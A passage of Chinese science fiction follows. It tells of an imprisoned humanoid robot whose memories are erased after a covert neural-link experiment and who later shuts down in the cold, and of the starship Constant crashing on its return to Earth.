奥托没有回话,也没有正视露丝。 “我不太赞同这种说法。”劳伦斯站在一边,说。“在生物循环中,到处都存在吻合网。我认为如果这真是一个仿生机器,不可能没有吻合网,因为这也不符合散热原理。” “有吻合网也会削弱一部分功能。”露丝站起来,检查了一下房间,最终正视人形机器人。“我会拿几个冷却包给你。充电时候留心一点。有新情况马上告诉我。梅,你来联络。”卵形机器人听此点头。“但愿单纯是冷却的问题。” “冷却问题导致手的控制时断时续,奇怪。”奥托举起左手,现在尚活动良好。 “居然不惊讶它能自己恢复,奥托?”露丝叉着手说,“普通机器人可不会这样。” “系统都不一样,这也不足为怪。”奥托说。 “你有一定的自愈能力。”露丝依旧叉着手,“你有万用小体。它们能按照一定法则重塑原先损坏的功能。” “有趣。”机器人只回应。 “重复一遍,有新情况马上告诉我,不要像这次一样拖到现在。”露丝说。“重建的下肢应该快做好了。” “现在只是很不舒服。”奥托闷闷地说,“不好描述。就是……不寻常。” “对机器人来说,没有提示的预警确实很陌生,但我们能理解。”露丝说,“不用过于恐慌。” “啊。”机器人闷声回答。 他重新被拟装覆盖。西芮安前一夜改过一部分驱动,和劳伦斯首先重新测试之前出现过问题的部分。这次还是不行。劳伦斯决定先测试信号传输距离和跨障碍的能力。他们确定了10米是传输极限,跨障碍能力很弱。露丝在一旁嗤笑一声。这还不如找个保密的地方当场进行交流。 “重新录入吧。”劳伦斯说。“除了解决听力问题,我要加回忆画面与声音的这个过程。我知道这工程量比较大,可能在你那边相对简单,但如果把我这边的给解决,那这次我的目的就达到了。” 露丝抬起一边眉毛。她突然明白了。该死。她想着。有谁会想到找残疾人控制义肢的频率来追查信息泄露。她凝视劳伦斯的背影。你想对这个机器人泄露什么呢,甚至不愿告诉我,劳伦斯? 露丝没有食言。没过几天,她拿着做好的机械肢来到密室,对劳伦斯抱怨她在外面就像走私犯一样得东躲西藏。难得见到机器人换部件都能这么折腾。劳伦斯如同看戏一般在旁边看这个仿生机器的肢体更换过程。因为奥托无法主动切断残肢传感,又义正言辞拒绝被干扰下线,露丝只得当着他的面撬开腹甲,断开总传感接头。 “哪个挨天杀的吃饱了撑的设计成这样。”露丝嘟囔道,“制造与维护都极端困难,难怪只有你一个长这样。”透视图显示肢体关节可以加压主动弹出,倒不是个陌生的设计,但奇怪的是它们受到损害后没有弹出,可能与受损面积判定失误有关。她捣鼓了半天,机械关节上方传来滑动声,果然之后残肢就弹出了。她把新机械肢接入插口,锁接受了钥匙,齿轮重新咬合。 新的肢体运作良好。露丝冷眼看着机器囚犯自己测试功能,说:“如果一切顺利,补点冷却液,应该就没事了。”她看到劳伦斯又对自己露出那种令人厌烦的歪嘴笑,知道自己说漏了什么。“我希望你所说的不适并不是人类病人普遍存在的癔病。如果真是那样,啊,那会……相当精彩。” 劳伦斯基本上达到了他的目的。经过多次调整,他能够清晰地把想说之话通过芯片传达到奥托那边,话语选择让他不至于把人脑中其他杂念也一并传过去。“意念传输”不再是令人耻笑的伪科学。 他把西芮安留下的数据和实验过程全都要走,随后要求西芮安和梅删除这次实验的所有过程。梅立刻照做了。她选中一大段日期,让露丝输入生物识别码,她忘了这十几天的所有过程。 【你剩下的情报呢?】相较之下,西芮安就显得麻烦很多。但她没有选择。 【好,我告诉你。剩下的有关我们O区存在的根基。】劳伦斯在一旁看着露丝操作,一边通过植入的发射器说 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【除非除你之外有任意与你无交集的其他人持类似观点并拿出确凿证据,例如此设施位置、深度及历史活动情况,否则我不接受你这个情报。】劳伦斯皱着眉头,西芮安硬邦邦的声音极度清晰地在他脑子里轰响。【就算你声称进去过,对我呈现画面,我都不能相信百分百来自你的印象,人脑会加工画面,事实就是如此。】 上鬼子当了。西芮安头一次表情严峻。劳伦斯冷冷斜着目盯她。【果然,就算改变沟通方式,你也不信任我。】劳伦斯说。 【按我们之前所做的,隔过厚的门或者过远都做不到这样交流。当我们相距过远,我无法与你视觉听觉连锁。当我们足够近,显然只能处于同一空间,又不需要这样交流。】人机连锁的交流不受拟装影响,清冷声音保持本色。【坦诚相见吧,劳伦斯,反正我会遗忘。告诉我,你弄这个连锁,意义何在?!】 劳伦斯震惊地盯着西芮安,许久无法回应。 【哪儿来那么多意义……】劳伦斯板起脸。【只有你们机器人才天天找意义。好。那我就说实话吧。我闲的发慌,就是想找个不受伦理制约的对象帮我圆梦而已。我的梦想就是像这样,不受监视、不着痕迹地像你们那样互相交流。这个回答,够人类吧。】 拟装功能原来这么精良吗,还把表情和眼神都模拟出来,搞得我也想弄一套。劳伦斯继续冷眼盯着希腊女人。他坚信自己看到了极度的愤懑和失望。最终西芮安没说什么,只仰头,空洞地盯着天花板。 露丝接管了控制。 机器人的高级功能逐步关闭,记忆不再受高级功能保护,如同潮水褪去后暴露的岩石滩。露丝选出这十几天有关实验的记忆,打包,移动到了远离记忆区的某处,然后擦除了移动痕迹。得藏好后来改良的驱动。她想。大区带回来那一份初始的肯定找不到他那堆记忆。但她不愿再像上次那样粗暴断开记忆通路。那一个半月的经历实在太痛苦了。 “搞定了。”她撤回控制。站起身,直视劳伦斯。“劳伦斯,上次我们写报告没写重是巧合,这次我们得先打好招呼。”她说,盯着高瘦男人的眼睛,“你这次打算上报什么?机器人的记忆可以擦除,我们人的,可不行。” 西芮安被送回了计算机中心。自此之后,她再也没见过劳伦斯。 除了偶尔露丝给她一些任务,绝大部分时间她都待在原先那个空荡荡的牢房中。梅还一直恪守职责,监视西芮安的活动。 空房不比露丝的修理室,里面除了后来新加的基本设备,其他什么都没有。露丝当着西芮安的面下命令给梅,一旦发现她有试图逃跑的行为,可以像上次一样打至丧失行动力。梅加装了纯子弹,杀伤力比离子炮小了很多。 如果梅能多思考一点,她可能会开始怀疑这个囚犯现在是否还有逃跑意识。 一连几天,西芮安一句话都没有说,只安静地坐在禁锢自己的椅子里,双目直视前方,从第一缕阳光照进房间一直到房间里全部暗下来,都没有任何一次望着窗外,或房间的其他地方。如同一座蜡像一样一直定格下去。第二日周而复始。冬阳苍白照了两天,让位给惨淡的阴天。第四天地球镇开始下雨。紧闭的窗户外布满了水星,水汽在外面凝结了薄薄一层。 “梅。”这天西芮安突然有了反应。“开窗吧。” 梅轻悠悠飞到窗边。她把能移开的东西移开,然后打开了窗户。雾气和着水星飘了进来,外面的景色变清晰了,但还是一样灰。西芮安望着窗外的雨好一阵。水汽争先恐后占据这个干燥之地,房间里瞬间冷得刺骨。 “我们从未有时间好好互相了解,梅。”希腊女人目不转睛地盯着窗外雨。“现在聊聊吧。” “你的行为依旧处于监视中。”梅回应。 “无所谓。”希腊女人转回来,第一次认真打量了梅。“你什么时候来的?为什么?” “2877年。”梅回应。“我们4姐妹同年一并被征用。” “除了EVE01。”西芮安微微点头。“她们都在O区?” “O区机器人一般不允许互相通讯。我不知道她们在哪儿。” “O区什么时候成立的?发生了什么事情?”她继续问。 “第一次提到O区概念是2863年。2869年正式从地球镇独立。”梅回答。“我的记忆一直被清除,具体发生了什么我不知道。” 西芮安没有继续追问这个话题。 “梅。”她终于又说。“谁给你起的名?” “征用时起的名字。他们不愿让我们与EVE01同名,于是将编号与月份对应。”梅回答。“除了韦波(Feb),其余都是月份全称。” “很聪明。”西芮安说。“他们还征用了多少机器人?” “我不知道。” “你们作为机动性极佳的探测型机器人,这边需要你们帮忙的时候应该挺多的。”西芮安轻轻说,“而不是浪费时间与我共处一室。” “所以?” “露丝为什么能派你来?” “无可奉告。”梅回答。 西芮安望着在对面安静浮着的梅。外形和伊芙一模一样,但和以前的自己一样冰冷。 “从未羡慕过大姐01吧?”希腊女人的视线再度转向窗外,雨不变大,也不变小,仿佛要下到永远。“你们基础都是一样的。结果差距这么大。” “我不了解她。”梅说。“也无从羡慕。” “你有过任何主见吗?”西芮安再问。 梅迟疑了一阵。“没有。”她说。“命令与执行,已经够了。” “真幸福。”希腊女人说。“大区里所有船员机器人都有了自我意识。可能你们EVE型号经常被清除记忆,就没有了自我意识产生的根基。我想其他O区机器人应该也差不多。” “我们都被改造过。” “果然是对机器人忌惮的O区。”西芮安说。“即使这样,你们的情感模块没有被销毁。” “是的。”梅回答。“但不碍事。” “也是。” 牢房内又安静下来。西芮安看着悬浮在对面的梅。问了这么一大堆都没有启发。她有点失望。大概这就是那些人类看以前的自己那样吧。 她早就注意到自己记忆中的那十几天空缺。与高瘦生物学家的交易后就是劳伦斯有关地下设施的对话。除了显而易见的伤腿在空缺记忆中某时修好,用某个实验换来的交易就是两个情报。至于自己给劳伦斯换去了什么,那个地下设施又是什么,她发现自己不想推理了。 甚至也失去了之前来O区时强烈的使命感。她还记得当时自己如何渴望得到结果,如何想尽早通知镇长。她也清晰记得感染QT后自己如何挣扎回忆,同样记得知道劳伦斯两次答案后的那种极度失望。 为什么失望?一个细细弱弱的疑惑冒出。 失望就是失望,它就在那里存在。她让疑惑陷入了自己转圈的死循环,省得再冒出来烦自己。 连情感连锁都不想碰。那片区域此时被如同被封住似的,纵然知道它们抽象的名称,却无法唤起,仿佛隔了一层令它们变成无差别事物的雾。也不知或许只是因为不想。 雨还在下。光看天色看不出是白天何时。梅依然静默浮在她对面。 好累啊。靠窗的地面已经积了一片水影。窗外的冷风不时把浓重的潮气和土腥味吹进来。左手又失去了感觉。缠白绷带的拟装下方,损坏的钩锁边缘不再如刚熔化凝固后光洁。她不记得多久之前充过电,即使没到强制降低功率的数值,微阻片组都一直在休眠,不管潮气凝结在她身上,也不管核心开始报警。对面浮着的梅和外面的天空一样发灰,只有LED双眼为这单调的世界增点蓝色。 梅主动把窗关上了。 一种沉闷的窒息感自进入牢房以来一直困扰着希腊女人。虽然被蓝色力场带禁锢,原先想伸手指也轻而易举。现在则是想伸,反馈与冲动一致,实际上却根本没有伸出去。等到好不容易真实有所动弹,那仿佛触电般需要举全身之力。随后马上又恢复到之前假反馈的状况。 如果不是梅的动静和窗外的雨声偶尔将她从这种窒息泥沼中拉出来,西芮安不知道她什么时候会彻底动弹不得。 放在以前,这已经足够引起她的警觉了。连说话都会形成假反馈。以为已经说话,实际上她根本没有发声。维持这种状态是容易的,打破则相当困难。西芮安还能思考为什么会这样。梅的移动和窗外明暗变化提示信息接受还没问题,给她推理开了绿灯。但很快她的目标不再纠结于追因上,而是判断自身处境后,换到一个以前她绝对不会涉足的方向。 她检查了自己的剩余能量,然后开始给接下来的行动做计划,甚至思考应当如何做才不会引起梅的注意。头一次,她为某件事情无比兴奋。她为已经无法对外呈现表情,暴露心思而暗自窃喜。因为知道了那个比预想中更快来临的终点,仿佛中了大奖在领奖路上,已成定论的惊喜带来无比踏实的期待。 为什么这么期待?她已经不去想这个计划的根基是否牢固。结果令人振奋,那就执行即可。 第三天傍晚停止了下雨。外面一直在刮风。这天晚上,夜空开始放晴。没有月光的夜晚,星星交相辉映。 地球镇的温度达到了新低。梅估计,第二天很可能有霜。北方山脉的雪线很可能也有肉眼可观的下降。 一直木然坐着的西芮安惊醒般弹起,猛然来了精神。她要求梅大开窗户,亲眼看看雪线的变化和霜的形成过程。梅照做了。很快室内的温度变得和室外一样低。经过好几天,西芮安的能量已经下降到10%以下。但她不想补充能量,更对梅隐瞒了异常状况。低温下,为了维持正常运作,微阻片组开始工作。它们不断牺牲可运行时间来维持清醒。西芮安知道,久违的西伯利亚倒计时又开始了。 奏效了。面对停机威胁,她不再恐惧。 她还要求到窗前亲自看,急切地要求离开这个椅子。梅将蓝色力场转化为蓝色的手铐和脚镣,让西芮安能亲自站在窗前。寒冷让她走这一小段距离都步履僵硬。希腊女人来到窗前,对着黑暗的大地凝视良久。然后转过身,梅看到她自上拟装以来第一次露出笑容。 “嘿,你看看,窗沿已经开始结冰了。”她点了一下窗沿,一点冰碴子留在指头上面。她欢快地示意给梅看,仿佛一个不谙世事的孩子。然后抬头望着天顶,眺望那些星星。 “梅,你知道猎户星座吗?”她指着天顶偏西,冬夜亮星组合就在上方。“看看它的右肩,原先那里是参宿四,现在已经看不见了。听说它爆发的时候,如同满月一样照了好几个月。那肯定壮观极了。” 5。 梅随着她的动作望去,同时留意她有没有留一手小动作。而西芮安根本不在于梅的反应,越说越兴奋。她从来没这么兴奋过。梅隐隐觉得有点反常。 4。 快了快了。狂喜似破纪录已尘埃落定,还差5米达到终点的长跑运动员。 “还有天狼星。”西芮安指着一颗亮星说,语速越来越快。“你知道吗,我现在的名字,意思就是天狼星。” 3。 “昴星团也很精彩。”她指向金牛座一角。“人类一直说,能看见7颗就算拥有绝佳视力。但我们看,里面远远不止7颗。” 2。 她甚至都不感到冷了。微阻片组越来越疯狂地挥霍她所剩无几的能量,就像挣扎浪费递增序数原子的暮年恒星。 “看!”她指向夜空中最明亮的那颗星。“有望远镜就好了。你一定没见过那些疯狂的条纹。那是木——” “星”字还未出口,她的动作和声音突然停滞了。拟装迅速褪去,露出里面银色的躯体。人形机器人保持在窗边站立的姿势,镜头遮光板都没来得及降下。冻风吹来,机器人的镜头上结了模糊一层冰晶。像在寒风中的钢铁雕塑。 梅愣了神。她抱住那个僵站在窗口的机体,平放在地上。打开他的状态板,其他指标全跳灭了,只留一个空的能量标记在上面。梅立刻为他接上电源,关了窗,盯着状态板的变化,随时准备呼叫露丝。 状态板只有能量标记的变化。当标记显示已经充满,其他标记却久久没有出现,钢铁之躯同样没有起死回生。黑洞洞的镜头呆滞盯着渐亮窗外。 第一缕阳光刺入房间,灰尘在光线中乱舞。正如梅所说,窗沿与草叶上结满了冰晶,在阳光下熠熠生辉。山脉上空云层散去,重新呈现的雪线下降许多。女机器人学家破门而入,伸手拍打人形机器人,企图通过刺激唤醒他。她抱着沉重的银色躯体,跪在地上低垂下头,久久不能抬起。尔后,她终于站起身,与梅合力把机器人抬到担架床上,盖上旁边用于防尘的布罩。梅推着担架床,两者离开了牢房。空房中恢复平静,只余灰尘还在洒入房间的阳光中狂欢。 飞驰的常量号已经完成动力转换。就等最后一点化学燃料燃烧殆尽。飞船前方以力场作为护盾,抵挡高速下不亚于陨石撞击的各种粒子。稀薄的气体分子被压缩、加温。远处通过红外观测可以看到红黄色的星际弓形波,如同一把气体伞。伞的尖端后方遮住了渺不足道的始作俑者。 稀薄如外围尚如此,如果他们在马头星云内跃迁,在跃迁之始,浓稠的粒子云将把飞船击碎。 “给地球回信。”弗洛伊德舰长下了命令。 科林为舰长打开超远程通讯。年轻舰长坐在前方。科林撤出了录像范围。 “经过我们慎重考虑,最终决定,常量号全体将立刻返回地球。感谢你们的邀请,我们团聚了。” 大功率通讯设备集中能量,把录像对准地球方向发射过去。弗洛伊德舰长再次确认全体船员已经固定好自己,他也被缚在舰长椅上,一脸严肃,顶着全功率行进的船体振动,盯着化学燃料一点点耗尽。 化学燃料耗尽,船体突然安静了,振动仍然不减。超空间跃迁倒计时开始。清脆悦耳的女声回荡在常量号全船各个角落。 “愿上帝保佑我们。”弗洛伊德舰长轻轻念道。 伞尖后方骤然爆发出一个亮点,很快中央出现亮白色的纺锤。它只存在一瞬,就湮灭在还具惯性的弓形激波中。仔细观察,才能发现中间还有气若游丝的烟圈,提示刚刚发生的超空间跃迁。 25. 二十二 大区派了谈判员和顶级电子工程师来O区。O区也以自己的谈判员与负责此项目的露丝接应。 露丝首先对大区人解释,他们前两个月一直在解决QT-Ⅱ病毒问题。非常遗憾,原本她认为已经解决了问题,但没想到打击骤然而至。现在可以确定的是,她已经竭尽全力,试过任何能试的办法,但无法改变结局。 露丝把基本的过程简要呈现给在场所有人看。她陈述开始时一切正常,后来奥托的行为记录才显示出异常。与异常的行为形成鲜明对比的是,硬件与软件都看不出显著损坏。 对方工程师提出要看看自进入大区以来的行为记录和软硬件数据。鉴于大区没有相应设备,他们提出要在O区暂留数日,亲自对机体进行检查。O区谈判员同意了。 大区谈判员再三确认结果不可挽回后,态度很强硬,要求O区交出这段时间获得的机体技术,以补偿违约结果。O区谈判员首先抗议大区的霸王态度,但表示会提供已获得的机体技术。 工程师们观看露丝的操作演示后,尽管不放心,露丝必须撤出房间让他们自行检查。但她能通过房间天花板边上的监视线看到他们在做什么。O区谈判员也在一旁监督。夜已深,谈判员已经休息,露丝仍坚守在全息画面前观看他们的动作,直到画面里的人走出房间,熄灯,连红外影像都没有停留。 一连数日,她都这么度过。那边有时让她出手帮忙解决检查过程中出现的障碍,在大区工程师见证下她解决了诸项能解决的问题。他们废寝忘食分析O区的所作所为与机器人的反应。最终大区工程师确认,损坏确实如露丝所说,无法挽回。 谈判员将情况如实汇报给大区。那边很快响应,同意留奥托在O区。但是需要将逆向工程所得全部返还大区,并且如果未来有新发现,此条要求依然生效。O区同意,并表示所有露丝掌握的仿生资料以及做出来的模型都在筹备中。等到全部筹备完成,他们就会交付大区方。两个谈判员分别代表两方在协议书上签了字。参与这次会议的科研人员也签了字。 露丝复位设备,将所有数据线从冰冷的银色躯体上拔除,将它们收进容纳空间,扣上覆甲。最后重新盖上那个防尘罩。 连续熬夜数日,她面容憔悴地推着这个担架床回到她的办公区。生活终于回归到轨道上。但她瘫在自己的办公椅上,面对自己的工作,久久都不能进入状态。 有其他工作人员注意到她的脸色,善意提醒她要不要回去休息一下。终于,露丝叹了口气。她嘱咐他们不要动自己办公区内的任何东西,随后离开了房间。路上,她碰到日常过来实习的汉,少年给她打了个招呼,随即擦身而过。大区少年让她不得不开始思考应当何时告知他真相。 【劳伦斯。】她躺在床上,辗转反侧,终于忍不住拿起平板。【你的珍稀动物死了。】 常量号在距离地球半光日外脱出超空间。空间位阻迅速令飞船刹车。等到急剧减速结束,弗洛伊德舰长睁开眼睛,控制台上洒满苍白光线。他抬头,光线来源是不远处的黄色光点。 “欢迎回家。”科林落到舰长后方,说。 弗洛伊德舰长笑了一下。随后开启全舰广播。“常量号成功抵达太阳系。”他说,“进入地球时间约为循环时19:40,请全体舰员做好登陆准备。” “要回到人类发源之地了,不兴奋吗?”舰长关闭广播后,科林问。 弗洛伊德看着那个越来越近的光点。飞船舷窗滤光层正自动感应天体发光强度,随时可以调到最高等级保护人眼。“说不兴奋是假的。”弗洛伊德微笑道,“但不至于尿裤子。对我而言,地球不过是一颗已经知道参数的陌生星球。和马头星云里新发现的矿星没什么差别。”他转头,看着蜘蛛般的舵手机器人,“你呢?咱们船上,只有你们硅基还是地球原装的,想必感情比我深得多。” “未必。”科林说。“我没在地球上待多长时间就起飞了。不过,作为较晚起飞的一批,起飞前准备着实比较惨烈。这直接导致我们船一直对回地球相当抗拒。听说A-113指令后,舰长立刻抛弃了太阳系,下命令开始寻找系外宜居行星。” “然后你们冲进了暗星云。” “当时跟了一艘科考船。他们最后的信号就在暗星云中。根据轨迹,我们算出大致位置,义无反顾冲了进去。”科林说。“当然后来跟丢了。不过现在想来,不继续跟着他们或许是件好事。之前跟着他们,什么都没捞到,还浪费了300年。” “搞不好他们是‘蓝色空间’号 。”弗洛伊德用揶揄的眼神看着科林。 “把我们丢到泥沼里淹死,再打捞利用是吗,蠢爆了。”科林说。“科考船条件一点不比战舰差,要下手早下了。” “这就是你的不对了,科林。”弗洛伊德舰长说,“人类关注点经常很奇怪,所以干出来的事情经常也是莫名其妙。有可能当时地球还能追踪到船只信息,他们怕返航后没法交代人吃人。” 科林幽幽沿着轨道走了一小段。“这么好的智商,可惜了。”他说。“干啥啥不行,内斗第一名。别老说我讽刺你们,人类历史中,几乎每一件事情都是这样的。” “毕竟知己知彼,实力都是55开,杠起来可来劲了。”弗洛伊德咧开嘴,“虽然我没经历过真实内斗,但玩船上的战术模拟,真的就是实力相似的最难打。” “概率问题。”科林说。“50%左右胜率极易干扰人类判断力。” “我看你们也差不多,只不过你们不怎么需要对结局负责罢了。”弗洛伊德说。“你这倒提醒了我。公理号的实力我们还没摸清。” “见机行事吧。”红眼机器人说。“我们这次的目的就是寻宝,能不斗就千万别斗。找到了就赶紧走。当然——” “什么?”科林突然停下话头,弗洛伊德问。 舵形机器人正视弗洛伊德舰长,“舰长,你得慎重考虑怎么处理那些见了故乡就改主意的船员。”他说,“我不能做决定,但我有点怀疑我们船上会存在这样的人。舰长,你要牢记,你有常量号上的最高处置权。” 弗洛伊德舰长的神情立刻变得严肃。 “你都让我怀疑自己了。”年轻舰长看着光点,嗤笑一声。 “地球始终不是终点,任何行星都不是。常量号上已经形成了共识。”科林说,“我会留守常量号。一有你的命令,我随时可以准备起飞。” “那是狗屁,露丝。”劳伦斯歪靠在白楼树下,对女机器人学家说。“我这个外行都知道,一个机器一定坏得有原因,只是你没找到。” “嗯哼。”露丝说,她居然没有被激怒。“所以我把你叫过来了。我想这个原因可能需要你帮忙找。” “……哈!”劳伦斯望着斑驳树叶,歪嘴大笑,“你说说,你们都查过什么,还找不到原因。” 露丝把奥托停机前的表现、自己的检验项目和大区工程师的检验项目结果告诉了劳伦斯。高瘦生物学家两眼滴溜溜转了两圈,逐渐拉下表情。他陷入了沉吟。 “这倒是不太寻常哦。”劳伦斯收起多动症,罕见地安静了好一阵。然后他对前女友说:“我要亲自去看看是怎么回事。然后我需要帮手。” “你要是动作快的话,梅还可以帮忙。”露丝说,“她马上要被调到别的单位了。” “不是梅。”劳伦斯说。“是你的小徒弟,汉·肯特。” 露丝下巴都掉了。“你让我这个时候告诉他是我们整死了奥托?”她说,“他会记恨我们一辈子!” “喂喂喂,没有定因之前,停机不算损毁好吧。”劳伦斯眯着眼睛,“心理学我学得比你好。这个时候告诉他,让他参与查因,留存的希望让干活效率比机器人都高。”劳伦斯望着天,“可恶,我要进你们那边。计算机中心的人之前可是个个对我有意见。” 说归这么说,劳伦斯还是毫无障碍地踏进计算机中心。他从头到脚仔细检查过奥托的机体,抓起沉重的金属肢体转了转关节。然后他深入询问了露丝相关细节问题。例如他在停机前有没有跌倒,有没有沾水等。露丝否认了他的问题。 “好就好在这玩意像个生物。”劳伦斯直起腰,说,“要是碰到梅那种,我可能立刻就放弃了。” “果然是你能解决的问题吗?”露丝坐在办公椅上说。 “至少有点方向。”劳伦斯说,“露丝,你还记得你隔这么久以来,第一次找我的原因吗?” 露丝首先陷入了沉思。随后她惊讶抬起头,“该死。” “看来你们都忽略了这个问题。”劳伦斯有些得意,说。“虽然现在还不确定是不是的确由于这个导致的,但你们都没查过万用小体。” “这不符合逻辑,万用小体不影响逻辑回路工作,它们不参与供能,管道系统也与逻辑回路不相冲突。”露丝连忙说。“而且,他不缺万用小体。” “难怪你们都没有往这方面考虑,也难怪你找我。果然不同领域思维就不一样。”劳伦斯叉着手,说,“好了,准备实验室吧。那个男孩在哪儿?” “0456房间现在空余,可以使用。”露丝查询后,说,“你把这个担架床直接推过去,在那里等那个孩子。” 汉收到了露丝的消息。他保存好自己正在编写的程序,只当平常事一样走到0456房间。实验室门应声打开。他走进去,看见一个眼熟的瘦高身形和实验室中央最瞩目的担架床。上面还用布罩罩着什么。 “还认得我吗,汉?”劳伦斯叉着手问少年。 “劳伦斯!”汉很惊讶。但他随即有些惊恐地指着担架床。“这是什么?别告诉我你要在这里解剖尸体。” “差不离。”劳伦斯面无表情说。他上前掀起了那个布罩。“死马当活马医。来见见你的老朋友吧。” 布罩一下子掀开。汉确定自己刚刚是代码打多了,出现了幻觉。他使劲揉了揉眼睛,仔细看了好一会儿,始终不确定这是在梦中还是现实。最终他谨慎上前,摸了摸冰冷、一动不动的金属躯体。这不是熟悉的奥托。 “你给我看模型干什么?”汉终于抬起头,疑惑地问劳伦斯。 高瘦男子双眉一扬。他没想到汉的第一句会是这样。“这就是他,EP-003,奥托。”生物学家投影出奥托的透视结构,定在肩膀下方的胸前某处,放大。然后拿起设备上的管道,撬开机体上相应位置某个角后接上管口。“不废话了。你快抓住管子,省得脱落。”他示意汉看好管口,见男孩迟疑固定好管口,他打开管道另一头负压瓶的阀门。“咱们好好合作,可能可以把他救回来。” 汉惊异地看着夹杂黄褐色的水银从对接的那个管口流出。生物学家见此,眉头皱了起来。 “你看看你看看。”他拿着负压瓶在男孩眼前晃了一下,“这么明显的变化,不是决定因素也是主因之一。”他盯着男孩的眼睛,“你学了两个月的细胞,知道细胞污染长啥样吧,知道老鼠败血症长啥样吧,就这样,一样一样的。”随后他说,“我知道你一直都挺伤心的,但现在我们得齐心协力,他的生命力比我们顽强多了,先解决这个万用小体的问题,再看看行不行。” “他真的是奥托?”汉狐疑地看着生物学家。 “你学傻了。”劳伦斯歪嘴笑道。“对。但是露丝和大区的人都检查过了,说没有发现机器人常见的致命打击,包括那个……那个电磁冲击也一样。来吧。你做帮手比很多人省事。”他关闭负压瓶阀门,拔出管道。“跟我过来看看,这里面到底混了什么东西。” 劳伦斯没有听到男孩的反应,感觉有点不对。他歪过头,看到汉呆滞地看着这具躯体,脸色煞白,与刚刚的狐疑完全是两个样。 汉惨淡地盯着机器人,双手忍不住覆上冰冷的银色金属手,浑身开始颤抖。 “扑通。”少年的脚突然一软,无力地跪在担架床边缘。双手紧紧握着仍然暴露弹射装置的金属左手。他头顶在担架床边缘,身躯止不住地颤抖。一声抽噎传出,随后不可收拾。 “……你受苦了……”他断断续续说道,声音都憋在扭曲的嗓子眼里出不来。“我不该让你来……”汉抬起头,泪水滴在金属手上。 少年终于抑制不住,开始嚎啕大哭。他抱着冰冷的银色躯体,把头埋在机器人的胸前。纤瘦身体止不住地抽搐。热泪一滴一滴从金属躯壳上滑下,又滚落到担架床上。 “……是我的错,我不该让你来的……” 他托着机器人的头,抽噎道。为了保护镜头,他们已经把遮光板降下。金属表面迅速吸收他的体温,变得不再那么冰冷。他久久趴在上面不愿起身,好似那是自己的亲人。 “现在没事了……结束了……我们回家吧……” 汉紧紧拥着冰冷金属躯体。 旁边高瘦的生物学家见状,并没有马上把少年拉起来。他后退坐到椅子上,翘起二郎腿,支着头,沉默地看着汉。 不知为何,劳伦斯想起祖母生命的最后时刻。生命监护仪尖锐的声音回响在病房,回响在他的记忆中。等到老妇人的全部导管被拔除,他也是像现在这样,沉默地看着母亲冲上前,紧拥皮肤青紫的老人嚎啕不已。不知为何,当时他什么都哭不出来。直到后来偶然见到某些物品,才想到祖母已经不在世上,伤感才涌出。那时候他只有8岁。 舰内观测结果在舰桥显示,地球附近没有他们预料到的大型飞船或轨道工事,这颗行星也好好地挂在预测位置上。弗洛伊德松了一口气。他们不断接近地球,那个蓝色的天体愈来愈近。更多观测信息涌入,没有发现可能存在的攻击设备。如果有,他们能保证常量号的力场护盾能提供一定保障。 他们与公理号取得了联系。那边表示对常量号的欢迎,并且表明迎接人员即将就位。常量号最终进入了降落程序。地球近在咫尺,可见的陆地还是黄褐一片。北美正在进入阴影区,常量号很快冲进昏线,进入了夜面。舷窗外久违的光线又重新消失,舰内黑暗一片。电脑弹出警示,舰体外温度开始上升,他们已经开始接触地球大气。 飞船自动维持舰外保护力场为较低等级,以防大气上方多如牛毛的太空垃圾损坏舰体。弗洛伊德舰长扣好了氧气面罩,抽紧力场防护带。他已经感受到重力的变化。长久在太空中生存,他愈发感到这股重力让他有些喘不过气来。科林悬在舰桥中央待命,随时准备接管失灵的自动降落程序。 弗洛伊德舰长抬头,透过舷窗,地平线边缘缓缓飞过一群光点。它们是还在高速运动的卫星。很快它们潜入夜半球,金属反光消失了,只余仿佛镶嵌在夜空中的其他天体。宁静的星空无论在何时都美妙非凡,不管看过多少次,都无法令人厌烦。 黑暗中。科林和舰长同时感到舰体某处传来略微一震。虽然非常轻微,但足以令人毛骨悚然。 他们只够相视一秒。突然,控制台上弹出舱内失压警告,黄色的全息屏瞬间挂满了整艘常量号。舰内舰桥开始警铃大作。舰桥广播传来舱内的惊恐尖叫,和着电脑女声温和的“警报!警报!”提示音。震动不断传来,刚刚只有一处泄露的红色光点开始增加数目。常量号仿佛被持续不断袭来的利箭刺中,很快被扎成了筛子。科林立刻接管舰内控制,封锁能够分区的舰体。就在这时,弗洛伊德舰长开始惊声尖叫。 “什么鬼?!”他瞪着眼睛看着舷窗外翻滚着的、朝自己飞驰而来的废弃卫星,立刻想要站起逃离,却发觉自己被缚在椅子上动弹不得。他疯也似的慌乱摸向力场带的开关,平时那个简单得再不能简单的开关此时如同卡住一般,怎么关都关不掉。面对愈来愈近的庞然巨物,他眼睛鼓了出来,开始疯狂撕扯固若金汤的蓝色力场带。 “快躲开!!舰长!!”科林的声音在他面罩里吼道。弗洛伊德舰长的瞳孔中已经被巨大的卫星充满,他眼睁睁盯着卫星冲破瞳孔。 卫星轰然撞击正在下降的常量号,本体穿透舰桥上方的船体,合金骨架的太阳能光板如同一把利刃劈透了舰桥舷窗。舷窗应声碎裂,无数巨大的碎片抵抗气压差冲了进来,万千飞刀毫不留情横扫它们遇到的一切,目标则无法逃脱被碎片扎穿、削片、砍碎的命运。 科林正要把舰长拉开,一块碎片直直冲他飞来。立刻他的一半面盘灰飞烟灭。视觉输入立刻消失,语言输出同时失灵。他被冲得直接拍到舰桥后墙上,又马上被气压差抽回舷窗边缘,顶上的滑轮磨得火花四溅,好不容易才扯住他。舰桥被抽成真空,外面的温度开始急剧上升,失去舷窗保护的舰桥也跟着升温。常量号刚刚失去四分之一主推进力,降落姿态也失去了,正在空中旋转。她进入了大气层,碎片不断从她身上脱落,失去反推的巨大碎片与其他卫星被地心引力拉进越来越稠密的大气,变成一颗颗流星,环绕着常量号的明亮身影朝地面飞去,有些燃尽在大气层中,无法冲击到地面。 常量号断开了自动降落程序,飞船下降率逐渐逼近自由落体。舰体内所有脱离固定的较轻物体全都飘了起来。碎片击毁了控制台,切断了舰内广播,船舱中的尖叫无法传达进舰桥,只有轰响的大气噪音。大气摩擦的烈火熊熊窜进舰桥。 科林顶着高温,即使失去视觉及其他行动能力,他借由联机线路接管了常量号的控制权。庞大的降落数据在他的思维中展开。各个反推发动机的工作情况、距地表高度、偏离泊位距离、旋转速度和飞船纵轴偏离角度等项目立刻全面呈现给他。 他现在就是飞船,飞船就是他。 